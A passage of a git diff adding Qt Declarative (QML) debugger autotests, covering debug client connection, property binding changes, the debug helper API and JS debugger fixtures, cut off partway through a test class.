+void tst_QDeclarativeDebug::tst_QDeclarativeDebugPropertyReference()
+{
+ QDeclarativeDebugObjectReference rootObject = findRootObject();
+ QDeclarativeDebugObjectQuery *query = m_dbg->queryObject(rootObject, this);
+ waitForQuery(query);
+ QDeclarativeDebugObjectReference obj = query->object();
+ delete query;
+
+ QDeclarativeDebugPropertyReference ref = findProperty(obj.properties(), "scale");
+ QVERIFY(ref.objectDebugId() > 0);
+ QVERIFY(!ref.name().isEmpty());
+ QVERIFY(!ref.value().isNull());
+ QVERIFY(!ref.valueTypeName().isEmpty());
+ QVERIFY(!ref.binding().isEmpty());
+ QVERIFY(ref.hasNotifySignal());
+
+ QDeclarativeDebugPropertyReference copy(ref);
+ QDeclarativeDebugPropertyReference copyAssign;
+ copyAssign = ref;
+ foreach (const QDeclarativeDebugPropertyReference &r, (QList<QDeclarativeDebugPropertyReference>() << copy << copyAssign))
+ compareProperties(r, ref);
+}
+
+void tst_QDeclarativeDebug::setBindingForObject()
+{
+ QDeclarativeDebugObjectReference rootObject = findRootObject();
+ QVERIFY(rootObject.debugId() != -1);
+ QDeclarativeDebugPropertyReference widthPropertyRef = findProperty(rootObject.properties(), "width");
+
+ QCOMPARE(widthPropertyRef.value(), QVariant(10));
+ QCOMPARE(widthPropertyRef.binding(), QString());
+
+ //
+ // set literal
+ //
+ m_dbg->setBindingForObject(rootObject.debugId(), "width", "15", true);
+
+ rootObject = findRootObject();
+ widthPropertyRef = findProperty(rootObject.properties(), "width");
+
+ QCOMPARE(widthPropertyRef.value(), QVariant(15));
+ QCOMPARE(widthPropertyRef.binding(), QString());
+
+ //
+ // set expression
+ //
+ m_dbg->setBindingForObject(rootObject.debugId(), "width", "height", false);
+
+ rootObject = findRootObject();
+ widthPropertyRef = findProperty(rootObject.properties(), "width");
+
+ QCOMPARE(widthPropertyRef.value(), QVariant(20));
+ QCOMPARE(widthPropertyRef.binding(), QString("height"));
+
+ //
+ // reset
+ //
+ m_dbg->resetBindingForObject(rootObject.debugId(), "width");
+
+ rootObject = findRootObject();
+ widthPropertyRef = findProperty(rootObject.properties(), "width");
+
+ // QCOMPARE(widthPropertyRef.value(), QVariant(0)); // TODO: Shouldn't this work?
+ QCOMPARE(widthPropertyRef.binding(), QString());
+
+ //
+ // set handler
+ //
+ rootObject = findRootObject();
+ QCOMPARE(rootObject.children().size(), 5); // Rectangle, Text, MouseArea, Component.onCompleted, NonScriptPropertyElement
+ QDeclarativeDebugObjectReference mouseAreaObject = rootObject.children().at(2);
+ QDeclarativeDebugObjectQuery *q_obj = m_dbg->queryObjectRecursive(mouseAreaObject, this);
+ waitForQuery(q_obj);
+ mouseAreaObject = q_obj->object();
+
+ QCOMPARE(mouseAreaObject.className(), QString("MouseArea"));
+
+ QDeclarativeDebugPropertyReference onEnteredRef = findProperty(mouseAreaObject.properties(), "onEntered");
+
+ QCOMPARE(onEnteredRef.name(), QString("onEntered"));
+ QCOMPARE(onEnteredRef.value(), QVariant("{ console.log('hello') }"));
+
+ m_dbg->setBindingForObject(mouseAreaObject.debugId(), "onEntered", "{console.log('hello, world') }", false) ;
+
+ rootObject = findRootObject();
+ mouseAreaObject = rootObject.children().at(2);
+ q_obj = m_dbg->queryObjectRecursive(mouseAreaObject, this);
+ waitForQuery(q_obj);
+ mouseAreaObject = q_obj->object();
+ onEnteredRef = findProperty(mouseAreaObject.properties(), "onEntered");
+ QCOMPARE(onEnteredRef.name(), QString("onEntered"));
+ QCOMPARE(onEnteredRef.value(), QVariant("{console.log('hello, world') }"));
+}
+
+void tst_QDeclarativeDebug::setBindingInStates()
+{
+ // Check if changing bindings of propertychanges works
+
+ const int sourceIndex = 3;
+
+ QDeclarativeDebugObjectReference obj = findRootObject(sourceIndex);
+
+ QVERIFY(obj.debugId() != -1);
+ QVERIFY(obj.children().count() >= 2);
+
+ // We are going to switch state a couple of times, we need to get rid of the transition before
+ QDeclarativeDebugExpressionQuery *q_deleteTransition = m_dbg->queryExpressionResult(obj.debugId(),QString("transitions = []"),this);
+ waitForQuery(q_deleteTransition);
+ delete q_deleteTransition;
+
+
+ // check initial value of the property that is changing
+ QDeclarativeDebugExpressionQuery *q_setState;
+ q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"state1\""),this);
+ waitForQuery(q_setState);
+ delete q_setState;
+
+ obj = findRootObject(sourceIndex);
+ QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),200);
+
+
+ q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"\""),this);
+ waitForQuery(q_setState);
+ delete q_setState;
+
+
+ obj = findRootObject(sourceIndex, true);
+ QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),100);
+
+
+ // change the binding
+ QDeclarativeDebugObjectReference state = obj.children()[0];
+ QCOMPARE(state.className(), QString("State"));
+ QVERIFY(state.children().count() > 0);
+
+ QDeclarativeDebugObjectReference propertyChange = state.children()[0];
+ QVERIFY(propertyChange.debugId() != -1);
+
+ QVERIFY( m_dbg->setBindingForObject(propertyChange.debugId(), "width",QVariant(300),true) );
+
+ // check properties changed in state
+ obj = findRootObject(sourceIndex);
+ QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),100);
+
+
+ q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"state1\""),this);
+ waitForQuery(q_setState);
+ delete q_setState;
+
+ obj = findRootObject(sourceIndex);
+ QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),300);
+
+ // check changing properties of base state from within a state
+ QVERIFY(m_dbg->setBindingForObject(obj.debugId(),"width","height*2",false));
+ QVERIFY(m_dbg->setBindingForObject(obj.debugId(),"height","200",true));
+
+ obj = findRootObject(sourceIndex);
+ QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),300);
+
+ q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"\""),this);
+ waitForQuery(q_setState);
+ delete q_setState;
+
+ obj = findRootObject(sourceIndex);
+ QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 400);
+
+ // reset binding while in a state
+ q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"state1\""),this);
+ waitForQuery(q_setState);
+ delete q_setState;
+
+ obj = findRootObject(sourceIndex);
+ QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 300);
+
+ m_dbg->resetBindingForObject(propertyChange.debugId(), "width");
+
+ obj = findRootObject(sourceIndex);
+ QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 400);
+
+ // re-add binding
+ m_dbg->setBindingForObject(propertyChange.debugId(), "width", "300", true);
+
+ obj = findRootObject(sourceIndex);
+ QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 300);
+}
+
+void tst_QDeclarativeDebug::queryObjectTree()
+{
+ const int sourceIndex = 3;
+
+ // Check if states/transitions are initialized when fetching root item
+ QDeclarativeDebugEnginesQuery *q_engines = m_dbg->queryAvailableEngines(this);
+ waitForQuery(q_engines);
+
+ QDeclarativeDebugRootContextQuery *q_context = m_dbg->queryRootContexts(q_engines->engines()[0].debugId(), this);
+ waitForQuery(q_context);
+
+ QVERIFY(q_context->rootContext().objects().count() > sourceIndex);
+ QDeclarativeDebugObjectReference rootObject = q_context->rootContext().objects()[sourceIndex];
+
+ QDeclarativeDebugObjectQuery *q_obj = m_dbg->queryObjectRecursive(rootObject, this);
+ waitForQuery(q_obj);
+
+ QDeclarativeDebugObjectReference obj = q_obj->object();
+
+ delete q_engines;
+ delete q_context;
+ delete q_obj;
+
+ QVERIFY(obj.debugId() != -1);
+ QVERIFY(obj.children().count() >= 2);
+
+
+
+ // check state
+ QDeclarativeDebugObjectReference state = obj.children()[0];
+ QCOMPARE(state.className(), QString("State"));
+ QVERIFY(state.children().count() > 0);
+
+ QDeclarativeDebugObjectReference propertyChange = state.children()[0];
+ QVERIFY(propertyChange.debugId() != -1);
+
+ QDeclarativeDebugPropertyReference propertyChangeTarget = findProperty(propertyChange.properties(),"target");
+ QCOMPARE(propertyChangeTarget.objectDebugId(), propertyChange.debugId());
+
+ QDeclarativeDebugObjectReference targetReference = qvariant_cast<QDeclarativeDebugObjectReference>(propertyChangeTarget.value());
+ QVERIFY(targetReference.debugId() != -1);
+
+
+
+ // check transition
+ QDeclarativeDebugObjectReference transition = obj.children()[1];
+ QCOMPARE(transition.className(), QString("Transition"));
+ QCOMPARE(findProperty(transition.properties(),"from").value().toString(), QString("*"));
+ QCOMPARE(findProperty(transition.properties(),"to").value(), findProperty(state.properties(),"name").value());
+ QVERIFY(transition.children().count() > 0);
+
+ QDeclarativeDebugObjectReference animation = transition.children()[0];
+ QVERIFY(animation.debugId() != -1);
+
+ QDeclarativeDebugPropertyReference animationTarget = findProperty(animation.properties(),"target");
+ QCOMPARE(animationTarget.objectDebugId(), animation.debugId());
+
+ targetReference = qvariant_cast<QDeclarativeDebugObjectReference>(animationTarget.value());
+ QVERIFY(targetReference.debugId() != -1);
+
+ QCOMPARE(findProperty(animation.properties(),"property").value().toString(), QString("width"));
+ QCOMPARE(findProperty(animation.properties(),"duration").value().toInt(), 100);
+}
+
+int main(int argc, char *argv[])
+{
+ int _argc = argc + 1;
+ char **_argv = new char*[_argc];
+ for (int i = 0; i < argc; ++i)
+ _argv[i] = argv[i];
+ _argv[_argc - 1] = "-qmljsdebugger=port:3768";
+
+ QApplication app(_argc, _argv);
+ tst_QDeclarativeDebug tc;
+ return QTest::qExec(&tc, _argc, _argv);
+ delete _argv;
+}
+
+#include "tst_qdeclarativedebug.moc"
diff --git a/tests/auto/declarative/qdeclarativedebugclient/qdeclarativedebugclient.pro b/tests/auto/declarative/qdeclarativedebugclient/qdeclarativedebugclient.pro
new file mode 100644
index 00000000..8fa87d29
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedebugclient/qdeclarativedebugclient.pro
@@ -0,0 +1,9 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += network declarative
+macx:CONFIG -= app_bundle
+
+HEADERS += ../shared/debugutil_p.h
+SOURCES += tst_qdeclarativedebugclient.cpp \
+ ../shared/debugutil.cpp
+
+CONFIG += declarative_debug
diff --git a/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp b/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp
new file mode 100644
index 00000000..43b6b654
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp
@@ -0,0 +1,154 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QSignalSpy>
+#include <QTimer>
+#include <QHostAddress>
+#include <QDebug>
+#include <QThread>
+
+#include <QtDeclarative/qdeclarativeengine.h>
+
+#include <private/qdeclarativedebugclient_p.h>
+
+#include "../../../shared/util.h"
+#include "../shared/debugutil_p.h"
+
+class tst_QDeclarativeDebugClient : public QObject
+{
+ Q_OBJECT
+
+private:
+ QDeclarativeDebugConnection *m_conn;
+
+private slots:
+ void initTestCase();
+
+ void name();
+ void status();
+ void sendMessage();
+};
+
+void tst_QDeclarativeDebugClient::initTestCase()
+{
+ QTest::ignoreMessage(QtDebugMsg, "QDeclarativeDebugServer: Waiting for connection on port 13770...");
+ new QDeclarativeEngine(this);
+
+ m_conn = new QDeclarativeDebugConnection(this);
+
+ QDeclarativeDebugTestClient client("tst_QDeclarativeDebugClient::handshake()", m_conn);
+ QDeclarativeDebugTestService service("tst_QDeclarativeDebugClient::handshake()");
+
+ m_conn->connectToHost("127.0.0.1", 13770);
+
+ QTest::ignoreMessage(QtDebugMsg, "QDeclarativeDebugServer: Connection established");
+ bool ok = m_conn->waitForConnected();
+ QVERIFY(ok);
+
+ QTRY_VERIFY(QDeclarativeDebugService::hasDebuggingClient());
+ QTRY_COMPARE(client.status(), QDeclarativeDebugClient::Enabled);
+}
+
+void tst_QDeclarativeDebugClient::name()
+{
+ QString name = "tst_QDeclarativeDebugClient::name()";
+
+ QDeclarativeDebugClient client(name, m_conn);
+ QCOMPARE(client.name(), name);
+}
+
+void tst_QDeclarativeDebugClient::status()
+{
+ {
+ QDeclarativeDebugConnection dummyConn;
+ QDeclarativeDebugClient client("tst_QDeclarativeDebugClient::status()", &dummyConn);
+ QCOMPARE(client.status(), QDeclarativeDebugClient::NotConnected);
+ }
+
+ QDeclarativeDebugTestClient client("tst_QDeclarativeDebugClient::status()", m_conn);
+ QCOMPARE(client.status(), QDeclarativeDebugClient::Unavailable);
+
+ {
+ QDeclarativeDebugTestService service("tst_QDeclarativeDebugClient::status()");
+ QTRY_COMPARE(client.status(), QDeclarativeDebugClient::Enabled);
+ }
+
+ QTRY_COMPARE(client.status(), QDeclarativeDebugClient::Unavailable);
+
+ // duplicate plugin name
+ QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugClient: Conflicting plugin name \"tst_QDeclarativeDebugClient::status()\" ");
+ QDeclarativeDebugClient client2("tst_QDeclarativeDebugClient::status()", m_conn);
+ QCOMPARE(client2.status(), QDeclarativeDebugClient::NotConnected);
+
+ QDeclarativeDebugClient client3("tst_QDeclarativeDebugClient::status3()", 0);
+ QCOMPARE(client3.status(), QDeclarativeDebugClient::NotConnected);
+}
+
+void tst_QDeclarativeDebugClient::sendMessage()
+{
+ QDeclarativeDebugTestService service("tst_QDeclarativeDebugClient::sendMessage()");
+ QDeclarativeDebugTestClient client("tst_QDeclarativeDebugClient::sendMessage()", m_conn);
+
+ QByteArray msg = "hello!";
+
+ QTRY_COMPARE(client.status(), QDeclarativeDebugClient::Enabled);
+
+ client.sendMessage(msg);
+ QByteArray resp = client.waitForResponse();
+ QCOMPARE(resp, msg);
+}
+
+int main(int argc, char *argv[])
+{
+ int _argc = argc + 1;
+ char **_argv = new char*[_argc];
+ for (int i = 0; i < argc; ++i)
+ _argv[i] = argv[i];
+ _argv[_argc - 1] = "-qmljsdebugger=port:13770";
+
+ QApplication app(_argc, _argv);
+ tst_QDeclarativeDebugClient tc;
+ return QTest::qExec(&tc, _argc, _argv);
+ delete _argv;
+}
+
+#include "tst_qdeclarativedebugclient.moc"
+
diff --git a/tests/auto/declarative/qdeclarativedebughelper/private_headers/qdeclarativedebughelper_p.h b/tests/auto/declarative/qdeclarativedebughelper/private_headers/qdeclarativedebughelper_p.h
new file mode 100644
index 00000000..9ef2df90
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedebughelper/private_headers/qdeclarativedebughelper_p.h
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEDEBUGHELPER_P_H
+#define QDECLARATIVEDEBUGHELPER_P_H
+
+#include <QtCore/qglobal.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+class QScriptEngine;
+class QDeclarativeEngine;
+
+// Helper methods to access private API through a stable interface
+// This is used in the qmljsdebugger library of QtCreator.
+class Q_DECLARATIVE_EXPORT QDeclarativeDebugHelper
+{
+public:
+ static QScriptEngine *getScriptEngine(QDeclarativeEngine *engine);
+ static void setAnimationSlowDownFactor(qreal factor);
+
+ // Enables remote debugging functionality
+ // Only use this for debugging in a safe environment!
+ static void enableDebugging();
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEDEBUGHELPER_P_H
diff --git a/tests/auto/declarative/qdeclarativedebughelper/qdeclarativedebughelper.pro b/tests/auto/declarative/qdeclarativedebughelper/qdeclarativedebughelper.pro
new file mode 100644
index 00000000..c52c6524
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedebughelper/qdeclarativedebughelper.pro
@@ -0,0 +1,5 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += network declarative script
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativedebughelper.cpp
diff --git a/tests/auto/declarative/qdeclarativedebughelper/tst_qdeclarativedebughelper.cpp b/tests/auto/declarative/qdeclarativedebughelper/tst_qdeclarativedebughelper.cpp
new file mode 100644
index 00000000..ac4c992e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedebughelper/tst_qdeclarativedebughelper.cpp
@@ -0,0 +1,122 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+
+#include <QDeclarativeEngine>
+#include <private/qdeclarativeengine_p.h>
+#include <QAbstractAnimation>
+#include <private/qabstractanimation_p.h>
+
+// We have copied the header which is used in the qmljsdebugger (part of QtCreator)
+// to catch BC changes. Don't update it unless you know what you are doing!
+#include "private_headers/qdeclarativedebughelper_p.h"
+
+class tst_qdeclarativedebughelper : public QObject {
+ Q_OBJECT
+private slots:
+ void getScriptEngine();
+ void setAnimationSlowDownFactor();
+ void enableDebugging();
+};
+
+class TestAnimation : public QAbstractAnimation {
+public:
+ int updateCalled;
+
+ TestAnimation() : updateCalled(0) {}
+
+ virtual void updateCurrentTime(int /*currentTime*/) {
+ updateCalled++;
+ }
+ virtual int duration() const {
+ return 100;
+ }
+};
+
+void tst_qdeclarativedebughelper::getScriptEngine()
+{
+ QDeclarativeEngine engine;
+
+ QScriptEngine *scriptEngine = QDeclarativeDebugHelper::getScriptEngine(&engine);
+ QVERIFY(scriptEngine);
+ QCOMPARE(scriptEngine, QDeclarativeEnginePrivate::getScriptEngine(&engine));
+}
+
+void tst_qdeclarativedebughelper::setAnimationSlowDownFactor()
+{
+ TestAnimation animation;
+
+ // first check whether setup works
+ QCOMPARE(animation.updateCalled, 0);
+ animation.start();
+ QTest::qWait(animation.totalDuration() + 50);
+#ifdef Q_OS_WIN
+ if (animation.state() != QAbstractAnimation::Stopped)
+ QEXPECT_FAIL("", "On windows, consistent timing is not working properly due to bad timer resolution", Abort);
+#endif
+ QCOMPARE(animation.state(), QAbstractAnimation::Stopped);
+ QVERIFY(animation.updateCalled > 1);
+
+ // check if we can pause all animations
+ animation.updateCalled = 0;
+ QDeclarativeDebugHelper::setAnimationSlowDownFactor(0.0);
+ animation.start();
+ QTest::qWait(animation.totalDuration() + 50);
+ QVERIFY(animation.updateCalled <= 1); // updateCurrentTime seems to be called at least once
+
+ // now run them again
+ animation.updateCalled = 0;
+ QDeclarativeDebugHelper::setAnimationSlowDownFactor(2.0);
+ animation.start();
+ QTest::qWait(animation.totalDuration() + 50);
+ QVERIFY(animation.updateCalled > 1);
+}
+
+void tst_qdeclarativedebughelper::enableDebugging()
+{
+ QTest::ignoreMessage(QtWarningMsg, "Qml debugging is enabled. Only use this in a safe environment!");
+ QDeclarativeDebugHelper::enableDebugging();
+}
+
+QTEST_MAIN(tst_qdeclarativedebughelper)
+
+#include "tst_qdeclarativedebughelper.moc"
+
diff --git a/tests/auto/declarative/qdeclarativedebugjs/app/app.pro b/tests/auto/declarative/qdeclarativedebugjs/app/app.pro
new file mode 100644
index 00000000..d1c0cddf
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedebugjs/app/app.pro
@@ -0,0 +1,13 @@
+TEMPLATE = app
+
+QT += declarative
+CONFIG += declarative_debug
+
+CONFIG += console
+CONFIG -= app_bundle
+
+DESTDIR = ./
+
+INSTALLS =
+
+SOURCES += main.cpp
diff --git a/tests/auto/declarative/qdeclarativedebugjs/app/main.cpp b/tests/auto/declarative/qdeclarativedebugjs/app/main.cpp
new file mode 100644
index 00000000..18a7a5f8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedebugjs/app/main.cpp
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QApplication>
+#include <QDebug>
+#include <QDeclarativeComponent>
+#include <QDeclarativeEngine>
+#include <QStringList>
+#include <QtDeclarative/private/qdeclarativedebugservice_p.h>
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ const QUrl path = QUrl::fromLocalFile(app.arguments().last());
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, path);
+
+ if (!component.isReady()) {
+ qWarning() << component.errorString();
+ return -1;
+ }
+
+ QObject *obj = component.create();
+
+// printf("%u\n", QDeclarativeDebugService::idForObject(obj));
+// fflush(stdout);
+
+ return app.exec();
+}
diff --git a/tests/auto/declarative/qdeclarativedebugjs/data/backtrace1.js b/tests/auto/declarative/qdeclarativedebugjs/data/backtrace1.js
new file mode 100644
index 00000000..f96f8e96
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedebugjs/data/backtrace1.js
@@ -0,0 +1,28 @@
+function function2InScript(a)
+{
+ logger("return function2InScript");
+ root.result = a;
+}
+
+function functionInScript(a, b)
+{
+ logger("enter functionInScript");
+ var names = ["Clark Kent", "Peter Parker", "Bruce Wayne"];
+ var aliases = ["Superman", "Spiderman", "Batman"];
+ var details = {
+ category: "Superheroes",
+ names: names,
+ aliases: aliases
+ };
+ function2InScript(a + b);
+ logger("return functionInScript");
+ return details;
+}
+
+function logger(msg)
+{
+ //console.log(msg);
+ return true;
+}
+
+//DO NOT CHANGE CODE ABOVE THIS LINE
diff --git a/tests/auto/declarative/qdeclarativedebugjs/data/backtrace1.qml b/tests/auto/declarative/qdeclarativedebugjs/data/backtrace1.qml
new file mode 100644
index 00000000..f062bb96
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedebugjs/data/backtrace1.qml
@@ -0,0 +1,41 @@
+import QtQuick 1.0
+import "backtrace1.js" as Script
+
+Item {
+ id: root
+
+ property int result:0
+
+ Component.onCompleted:
+ {
+ root.result = 10;
+ Script.functionInScript(4,5);
+ root.name = "nemo";
+ Script.logger(root.simpleBinding);
+ }
+
+ //DO NOT CHANGE CODE ABOVE
+ //ADD CODE FROM HERE
+
+ property string name
+ property int simpleBinding: result
+
+ VisualItemModel {
+ id: itemModel
+ Rectangle { height: 30; width: 80; color: "red" }
+ Rectangle { height: 30; width: 80; color: "green" }
+ Rectangle { height: 30; width: 80; color: "blue" }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: itemModel
+
+ Component.onCompleted:
+ {
+ Script.logger("List Loaded");
+ }
+ }
+
+}
+
diff --git a/tests/auto/declarative/qdeclarativedebugjs/qdeclarativedebugjs.pro b/tests/auto/declarative/qdeclarativedebugjs/qdeclarativedebugjs.pro
new file mode 100644
index 00000000..720de192
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedebugjs/qdeclarativedebugjs.pro
@@ -0,0 +1,4 @@
+TEMPLATE = subdirs
+
+SUBDIRS = tst_qdeclarativedebugjs.pro \
+ app
diff --git a/tests/auto/declarative/qdeclarativedebugjs/tst_qdeclarativedebugjs.cpp b/tests/auto/declarative/qdeclarativedebugjs/tst_qdeclarativedebugjs.cpp
new file mode 100644
index 00000000..096f3905
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedebugjs/tst_qdeclarativedebugjs.cpp
@@ -0,0 +1,1443 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QtDeclarative/QDeclarativeEngine>
+#include <QtDeclarative/private/qdeclarativedebugclient_p.h>
+#include <QtDeclarative/private/qdeclarativedebugservice_p.h>
+#include <QtDeclarative/private/qjsdebuggeragent_p.h>
+#include <QtCore/QFileInfo>
+#include <QtCore/QDir>
+#include <QtCore/QProcess>
+#include "../../../shared/util.h"
+#include "../shared/debugutil_p.h"
+
+class QJSDebugClient : public QDeclarativeDebugClient
+{
+ Q_OBJECT
+public:
+ QJSDebugClient(QDeclarativeDebugConnection *connection) : QDeclarativeDebugClient(QLatin1String("JSDebugger"), connection) {}
+
+ void ping();
+ void exec(const QByteArray &debuggerId, const QString &expr);
+ void setBreakpoints(const QSet<JSAgentBreakpointData> &breakpoints);
